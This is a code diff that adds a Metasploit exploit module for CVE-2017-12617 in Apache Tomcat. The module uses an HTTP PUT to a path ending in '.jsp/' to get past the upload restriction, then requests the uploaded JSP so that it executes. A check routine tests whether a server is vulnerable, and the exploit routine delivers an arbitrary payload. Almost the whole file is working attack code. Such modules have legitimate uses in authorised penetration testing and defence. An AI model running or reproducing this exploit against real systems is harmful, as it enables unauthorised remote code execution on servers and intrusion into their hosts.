|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + |
| 8 | + Rank = ExcellentRanking |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::HttpClient |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super(update_info(info, |
| 14 | + 'Name' => 'Tomcat RCE via JSP Upload Bypass', |
| 15 | + 'Description' => %q{ |
| 16 | + This module uploads a jsp payload and executes it. |
| 17 | + }, |
| 18 | + 'Author' => 'peewpw', |
| 19 | + 'License' => MSF_LICENSE, |
| 20 | + 'References' => |
| 21 | + [ |
| 22 | + [ 'CVE', '2017-12617' ], |
| 23 | + [ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12617' ], |
| 24 | + [ 'URL', 'https://bz.apache.org/bugzilla/show_bug.cgi?id=61542' ] |
| 25 | + ], |
| 26 | + 'Privileged' => false, |
| 27 | + 'Platform' => %w{ linux win }, # others? |
| 28 | + 'Targets' => |
| 29 | + [ |
| 30 | + [ 'Automatic', |
| 31 | + { |
| 32 | + 'Arch' => ARCH_JAVA, |
| 33 | + 'Platform' => 'win' |
| 34 | + } |
| 35 | + ], |
| 36 | + [ 'Java Windows', |
| 37 | + { |
| 38 | + 'Arch' => ARCH_JAVA, |
| 39 | + 'Platform' => 'win' |
| 40 | + } |
| 41 | + ], |
| 42 | + [ 'Java Linux', |
| 43 | + { |
| 44 | + 'Arch' => ARCH_JAVA, |
| 45 | + 'Platform' => 'linux' |
| 46 | + } |
| 47 | + ] |
| 48 | + ], |
| 49 | + 'DisclosureDate' => 'Oct 03 2017', |
| 50 | + 'DefaultTarget' => 0)) |
| 51 | + |
| 52 | + register_options([ |
| 53 | + OptString.new('TARGETURI', [true, "The URI path of the Tomcat installation", "/"]), |
| 54 | + Opt::RPORT(8080) |
| 55 | + ]) |
| 56 | + end |
| 57 | + |
| 58 | + def check |
| 59 | + testurl = Rex::Text::rand_text_alpha(10) |
| 60 | + testcontent = Rex::Text::rand_text_alpha(10) |
| 61 | + |
| 62 | + res = send_request_cgi({ |
| 63 | + 'uri' => normalize_uri(target_uri,"#{testurl}.jsp/"), |
| 64 | + 'method' => 'PUT', |
| 65 | + 'data' => "<% out.println(\"#{testcontent}\");%>" |
| 66 | + }) |
| 67 | + |
| 68 | + res1 = send_request_cgi({ |
| 69 | + 'uri' => normalize_uri(target_uri,"#{testurl}.jsp"), |
| 70 | + 'method' => 'GET' |
| 71 | + }) |
| 72 | + |
| 73 | + if res1 and res1.body.include?(testcontent) |
| 74 | + res2 = send_request_cgi( |
| 75 | + opts = { |
| 76 | + 'uri' => normalize_uri(target_uri,"#{testurl}.jsp/"), |
| 77 | + 'method' => 'DELETE' |
| 78 | + }, |
| 79 | + timeout = 1 |
| 80 | + ) |
| 81 | + return Exploit::CheckCode::Vulnerable |
| 82 | + end |
| 83 | + |
| 84 | + Exploit::CheckCode::Safe |
| 85 | + end |
| 86 | + |
| 87 | + def exploit |
| 88 | + |
| 89 | + print_status("Uploading payload...") |
| 90 | + testurl = Rex::Text::rand_text_alpha(10) |
| 91 | + |
| 92 | + res = send_request_cgi({ |
| 93 | + 'uri' => normalize_uri(target_uri,"#{testurl}.jsp/"), |
| 94 | + 'method' => 'PUT', |
| 95 | + 'data' => "#{payload.encoded}" |
| 96 | + }) |
| 97 | + if res and res.code == 201 |
| 98 | + res1 = send_request_cgi({ |
| 99 | + 'uri' => normalize_uri(target_uri,"#{testurl}.jsp"), |
| 100 | + 'method' => 'GET' |
| 101 | + }) |
| 102 | + if res1 and res1.code == 200 |
| 103 | + print_status("Payload executed!") |
| 104 | + else |
| 105 | + fail_with(Failure::Unknown, "Failed to execute the payload") |
| 106 | + end |
| 107 | + else |
| 108 | + fail_with(Failure::Unknown, "Failed to upload the payload") |
| 109 | + end |
| 110 | + |
| 111 | + end |
| 112 | +end |
| 113 | + |
0 commit comments